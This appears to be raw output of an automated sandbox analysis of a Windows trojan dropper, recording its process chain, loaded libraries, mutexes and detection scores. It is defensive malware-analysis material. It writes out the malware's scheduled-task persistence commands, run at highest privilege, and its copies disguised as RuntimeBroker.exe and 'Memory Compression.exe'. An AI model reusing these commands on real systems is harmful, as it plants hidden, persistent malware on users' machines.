Source: C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe	Code function: 39_2_00007FFD9BA20D47	39_2_00007FFD9BA20D47
Source: C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe	Code function: 39_2_00007FFD9BA20E43	39_2_00007FFD9BA20E43
Source: C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe	Code function: 39_2_00007FFD9BA29200	39_2_00007FFD9BA29200
Source: C:\Chaindriver.exe	Code function: 42_2_00007FFD9B9E0D47	42_2_00007FFD9B9E0D47
Source: C:\Chaindriver.exe	Code function: 42_2_00007FFD9B9E0E43	42_2_00007FFD9B9E0E43
Source: C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe	Code function: 48_2_00007FFD9BA10D47	48_2_00007FFD9BA10D47
Source: C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe	Code function: 48_2_00007FFD9BA10E43	48_2_00007FFD9BA10E43

Source: C:\Users\user\Desktop\t8F7Ic986c.exe

Code function: String function: 00007FF652ED2B10 appears 47 times

Source: t8F7Ic986c.exe, 00000000.00000003.1659338173.000001A2123B2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameselect.pyd. vs t8F7Ic986c.exe
Source: t8F7Ic986c.exe, 00000000.00000003.1656458098.000001A2123A5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_socket.pyd. vs t8F7Ic986c.exe
Source: t8F7Ic986c.exe, 00000000.00000003.1669900462.000001A2123B2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameunicodedata.pyd. vs t8F7Ic986c.exe
Source: t8F7Ic986c.exe, 00000000.00000003.1658580521.000001A2123A5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamepython39.dll. vs t8F7Ic986c.exe
Source: t8F7Ic986c.exe, 00000000.00000003.1657492096.000001A2123AF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamelibcryptoH vs t8F7Ic986c.exe
Source: t8F7Ic986c.exe, 00000000.00000003.1655924578.000001A2123A5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_bz2.pyd. vs t8F7Ic986c.exe
Source: t8F7Ic986c.exe, 00000000.00000003.1656330842.000001A2123A5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_lzma.pyd. vs t8F7Ic986c.exe
Source: t8F7Ic986c.exe, 00000000.00000003.1659486333.000001A2123AC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameunicodedata.pyd. vs t8F7Ic986c.exe
Source: t8F7Ic986c.exe, 00000000.00000003.1656071872.000001A2123A5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_decimal.pyd. vs t8F7Ic986c.exe
Source: t8F7Ic986c.exe, 00000000.00000003.1655768186.000001A2123A5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamevcruntime140.dllT vs t8F7Ic986c.exe
Source: t8F7Ic986c.exe, 00000000.00000003.1659338173.000001A2123A5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameselect.pyd. vs t8F7Ic986c.exe
Source: t8F7Ic986c.exe, 00000000.00000003.1656219282.000001A2123A5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_hashlib.pyd. vs t8F7Ic986c.exe
Source: t8F7Ic986c.exe	Binary or memory string: OriginalFilename vs t8F7Ic986c.exe
Source: t8F7Ic986c.exe, 00000001.00000003.1664258544.0000023EBC6EE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamekernel32j% vs t8F7Ic986c.exe
Source: t8F7Ic986c.exe, 00000001.00000003.1664219894.0000023EBC6ED000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamekernel32j% vs t8F7Ic986c.exe
Source: t8F7Ic986c.exe, 00000001.00000002.1666043288.0000023EBC6F1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamekernel32j% vs t8F7Ic986c.exe
Source: t8F7Ic986c.exe, 00000001.00000002.1668568609.00007FFDFBAA0000.00000002.00000001.01000000.00000004.sdmp	Binary or memory string: OriginalFilenamepython39.dll. vs t8F7Ic986c.exe
Source: t8F7Ic986c.exe, 00000001.00000002.1668720877.00007FFE148C6000.00000002.00000001.01000000.00000005.sdmp	Binary or memory string: OriginalFilenamevcruntime140.dllT vs t8F7Ic986c.exe

Source: Chaindriver.exe.7.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: Memory Compression.exe.8.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: RuntimeBroker.exe.8.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: NOFqHeDosUIopsPGLT.exe.8.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: NOFqHeDosUIopsPGLT.exe0.8.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: classification engine

Classification label: mal100.spre.troj.expl.evad.winEXE@63/47@1/1

Source: C:\Users\user\Desktop\t8F7Ic986c.exe

Code function: 0_2_00007FF652ED8770 GetLastError,FormatMessageW,WideCharToMultiByte,

0_2_00007FF652ED8770

Source: C:\Users\user\AppData\Local\Temp\_MEI75042\BoosterX.exe

Code function: 4_2_00007FF6C03785A4 FindResourceExW,SizeofResource,LoadResource,LockResource,GlobalAlloc,GlobalLock,CreateStreamOnHGlobal,GdipAlloc,GdipCreateHBITMAPFromBitmap,GlobalUnlock,GlobalFree,

4_2_00007FF6C03785A4

Source: C:\Chaindriver.exe

File created: C:\Users\user\Desktop\viEjRGTv.log

Jump to behavior

Source: C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7696:120:WilError_03
Source: C:\Recovery\Memory Compression.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\DCR_MUTEX-hfvbr7qWOm1XHEAbKVKA
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7832:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7996:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1740:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7544:120:WilError_03

Source: C:\Users\user\Desktop\t8F7Ic986c.exe

File created: C:\Users\user\AppData\Local\Temp\_MEI75042

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\_MEI75042\BoosterX.exe

Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\1.bat" "

Source: t8F7Ic986c.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Chaindriver.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Chaindriver.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Chaindriver.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Chaindriver.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Chaindriver.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Chaindriver.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Chaindriver.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Chaindriver.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Chaindriver.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Chaindriver.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Chaindriver.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Chaindriver.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Chaindriver.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Chaindriver.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Chaindriver.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Chaindriver.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Chaindriver.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Chaindriver.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create

Source: C:\Users\user\AppData\Local\Temp\_MEI75042\BoosterX.exe

File read: C:\Windows\win.ini

Jump to behavior

Source: C:\Users\user\Desktop\t8F7Ic986c.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: t8F7Ic986c.exe	ReversingLabs: Detection: 47%
Source: t8F7Ic986c.exe	Virustotal: Detection: 61%

Source: C:\Users\user\Desktop\t8F7Ic986c.exe

File read: C:\Users\user\Desktop\t8F7Ic986c.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\t8F7Ic986c.exe "C:\Users\user\Desktop\t8F7Ic986c.exe"
Source: C:\Users\user\Desktop\t8F7Ic986c.exe	Process created: C:\Users\user\Desktop\t8F7Ic986c.exe "C:\Users\user\Desktop\t8F7Ic986c.exe"
Source: C:\Users\user\Desktop\t8F7Ic986c.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c start C:\Users\user\AppData\Local\Temp\_MEI75042\BoosterX.exe -p1234
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\_MEI75042\BoosterX.exe C:\Users\user\AppData\Local\Temp\_MEI75042\BoosterX.exe -p1234
Source: C:\Users\user\AppData\Local\Temp\_MEI75042\BoosterX.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\1.bat" "
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Chaindriver.sfx.exe Chaindriver.sfx.exe -p1234
Source: C:\Chaindriver.sfx.exe	Process created: C:\Chaindriver.exe "C:\Chaindriver.exe"
Source: C:\Chaindriver.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "NOFqHeDosUIopsPGLTN" /sc MINUTE /mo 10 /tr "'C:\Recovery\NOFqHeDosUIopsPGLT.exe'" /f
Source: C:\Chaindriver.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "NOFqHeDosUIopsPGLT" /sc ONLOGON /tr "'C:\Recovery\NOFqHeDosUIopsPGLT.exe'" /rl HIGHEST /f
Source: C:\Chaindriver.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "NOFqHeDosUIopsPGLTN" /sc MINUTE /mo 12 /tr "'C:\Recovery\NOFqHeDosUIopsPGLT.exe'" /rl HIGHEST /f
Source: C:\Chaindriver.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\fvh1uhfy\fvh1uhfy.cmdline"
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES953C.tmp" "c:\Windows\System32\CSCE25282B3313D430FBB6BBFE2CFE4882.TMP"
Source: C:\Chaindriver.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "NOFqHeDosUIopsPGLTN" /sc MINUTE /mo 7 /tr "'C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe'" /f
Source: C:\Chaindriver.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "NOFqHeDosUIopsPGLT" /sc ONLOGON /tr "'C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe'" /rl HIGHEST /f
Source: C:\Chaindriver.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "NOFqHeDosUIopsPGLTN" /sc MINUTE /mo 13 /tr "'C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe'" /rl HIGHEST /f
Source: C:\Chaindriver.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "NOFqHeDosUIopsPGLTN" /sc MINUTE /mo 8 /tr "'C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe'" /f
Source: C:\Chaindriver.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "NOFqHeDosUIopsPGLT" /sc ONLOGON /tr "'C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe'" /rl HIGHEST /f
Source: C:\Chaindriver.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "NOFqHeDosUIopsPGLTN" /sc MINUTE /mo 8 /tr "'C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe'" /rl HIGHEST /f
Source: C:\Chaindriver.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 13 /tr "'C:\Users\Default\Pictures\RuntimeBroker.exe'" /f
Source: C:\Chaindriver.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "RuntimeBroker" /sc ONLOGON /tr "'C:\Users\Default\Pictures\RuntimeBroker.exe'" /rl HIGHEST /f
Source: C:\Chaindriver.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 6 /tr "'C:\Users\Default\Pictures\RuntimeBroker.exe'" /rl HIGHEST /f
Source: C:\Chaindriver.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "Memory CompressionM" /sc MINUTE /mo 5 /tr "'C:\Recovery\Memory Compression.exe'" /f
Source: C:\Chaindriver.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "Memory Compression" /sc ONLOGON /tr "'C:\Recovery\Memory Compression.exe'" /rl HIGHEST /f
Source: C:\Chaindriver.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "Memory CompressionM" /sc MINUTE /mo 8 /tr "'C:\Recovery\Memory Compression.exe'" /rl HIGHEST /f
Source: C:\Chaindriver.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "ChaindriverC" /sc MINUTE /mo 11 /tr "'C:\Chaindriver.exe'" /f
Source: C:\Chaindriver.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "Chaindriver" /sc ONLOGON /tr "'C:\Chaindriver.exe'" /rl HIGHEST /f
Source: C:\Chaindriver.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "ChaindriverC" /sc MINUTE /mo 11 /tr "'C:\Chaindriver.exe'" /rl HIGHEST /f
Source: C:\Chaindriver.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\lrFP7pOB0Z.bat"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp 65001
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\w32tm.exe w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
Source: unknown	Process created: C:\Chaindriver.exe C:\Chaindriver.exe
Source: unknown	Process created: C:\Chaindriver.exe C:\Chaindriver.exe
Source: unknown	Process created: C:\Recovery\Memory Compression.exe "C:\Recovery\Memory Compression.exe"
Source: unknown	Process created: C:\Recovery\Memory Compression.exe "C:\Recovery\Memory Compression.exe"
Source: unknown	Process created: C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe
Source: unknown	Process created: C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Chaindriver.exe "C:\Chaindriver.exe"
Source: C:\Recovery\Memory Compression.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\zsJdcY9yPm.bat"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp 65001
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\w32tm.exe w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
Source: unknown	Process created: C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe "C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe"
Source: C:\Users\user\Desktop\t8F7Ic986c.exe	Process created: C:\Users\user\Desktop\t8F7Ic986c.exe "C:\Users\user\Desktop\t8F7Ic986c.exe"	Jump to behavior
Source: C:\Users\user\Desktop\t8F7Ic986c.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c start C:\Users\user\AppData\Local\Temp\_MEI75042\BoosterX.exe -p1234	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\_MEI75042\BoosterX.exe C:\Users\user\AppData\Local\Temp\_MEI75042\BoosterX.exe -p1234	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\_MEI75042\BoosterX.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\1.bat" "	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Chaindriver.sfx.exe Chaindriver.sfx.exe -p1234	Jump to behavior
Source: C:\Chaindriver.sfx.exe	Process created: C:\Chaindriver.exe "C:\Chaindriver.exe"	Jump to behavior
Source: C:\Chaindriver.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\fvh1uhfy\fvh1uhfy.cmdline"	Jump to behavior
Source: C:\Chaindriver.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\lrFP7pOB0Z.bat"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES953C.tmp" "c:\Windows\System32\CSCE25282B3313D430FBB6BBFE2CFE4882.TMP"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp 65001
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\w32tm.exe w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Chaindriver.exe "C:\Chaindriver.exe"
Source: C:\Recovery\Memory Compression.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\zsJdcY9yPm.bat"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp 65001
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\w32tm.exe w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown

Source: C:\Users\user\Desktop\t8F7Ic986c.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\t8F7Ic986c.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\t8F7Ic986c.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\t8F7Ic986c.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\t8F7Ic986c.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\t8F7Ic986c.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\t8F7Ic986c.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\_MEI75042\BoosterX.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\_MEI75042\BoosterX.exe	Section loaded: dxgidebug.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\_MEI75042\BoosterX.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\_MEI75042\BoosterX.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\_MEI75042\BoosterX.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\_MEI75042\BoosterX.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\_MEI75042\BoosterX.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\_MEI75042\BoosterX.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\_MEI75042\BoosterX.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\_MEI75042\BoosterX.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\_MEI75042\BoosterX.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\_MEI75042\BoosterX.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\_MEI75042\BoosterX.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\_MEI75042\BoosterX.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\_MEI75042\BoosterX.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\_MEI75042\BoosterX.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\_MEI75042\BoosterX.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\_MEI75042\BoosterX.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\_MEI75042\BoosterX.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\_MEI75042\BoosterX.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\_MEI75042\BoosterX.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\_MEI75042\BoosterX.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\_MEI75042\BoosterX.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\_MEI75042\BoosterX.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\_MEI75042\BoosterX.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\_MEI75042\BoosterX.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\_MEI75042\BoosterX.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\_MEI75042\BoosterX.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\_MEI75042\BoosterX.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\_MEI75042\BoosterX.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\_MEI75042\BoosterX.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\_MEI75042\BoosterX.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\_MEI75042\BoosterX.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\_MEI75042\BoosterX.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\_MEI75042\BoosterX.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\_MEI75042\BoosterX.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\_MEI75042\BoosterX.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\_MEI75042\BoosterX.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\_MEI75042\BoosterX.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\_MEI75042\BoosterX.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\_MEI75042\BoosterX.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\_MEI75042\BoosterX.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\_MEI75042\BoosterX.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Chaindriver.sfx.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Chaindriver.sfx.exe	Section loaded: dxgidebug.dll	Jump to behavior
Source: C:\Chaindriver.sfx.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Chaindriver.sfx.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Chaindriver.sfx.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Chaindriver.sfx.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Chaindriver.sfx.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Chaindriver.sfx.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Chaindriver.sfx.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Chaindriver.sfx.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Chaindriver.sfx.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Chaindriver.sfx.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Chaindriver.sfx.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Chaindriver.sfx.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Chaindriver.sfx.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Chaindriver.sfx.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Chaindriver.sfx.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Chaindriver.sfx.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Chaindriver.sfx.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Chaindriver.sfx.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Chaindriver.sfx.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Chaindriver.sfx.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Chaindriver.sfx.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Chaindriver.sfx.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Chaindriver.sfx.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Chaindriver.sfx.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Chaindriver.sfx.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Chaindriver.sfx.exe	Section loaded: edputil.dll	Jump to behavior
